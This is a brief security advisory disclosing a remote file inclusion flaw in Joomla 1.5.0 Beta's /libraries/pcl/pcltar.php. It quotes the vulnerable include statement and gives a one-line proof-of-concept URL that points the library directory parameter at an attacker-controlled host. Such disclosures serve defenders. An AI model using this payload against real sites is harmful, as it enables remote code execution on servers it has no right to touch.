Joomla 1.5.0 Beta (pcltar.php) Remote File Inclusion Vulnerability

Hi,
Joomla! 1.5.0 is in Beta version and "should NOT to be used for `live`
or `production` sites."
Joomla 1.0.12 has a good security but it seems that Joomla 1.5.0 doesnt
have a good security approach. Anyway, there is a remote file inclusion
in Joomla 1.5.0 Beta :

File /libraries/pcl/pcltar.php, Line 74 :
 if (!defined("PCLERROR_LIB"))
 {
       include($g_pcltar_lib_dir."/pclerror.lib.".$g_pcltar_extension);
 }

POC : http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?
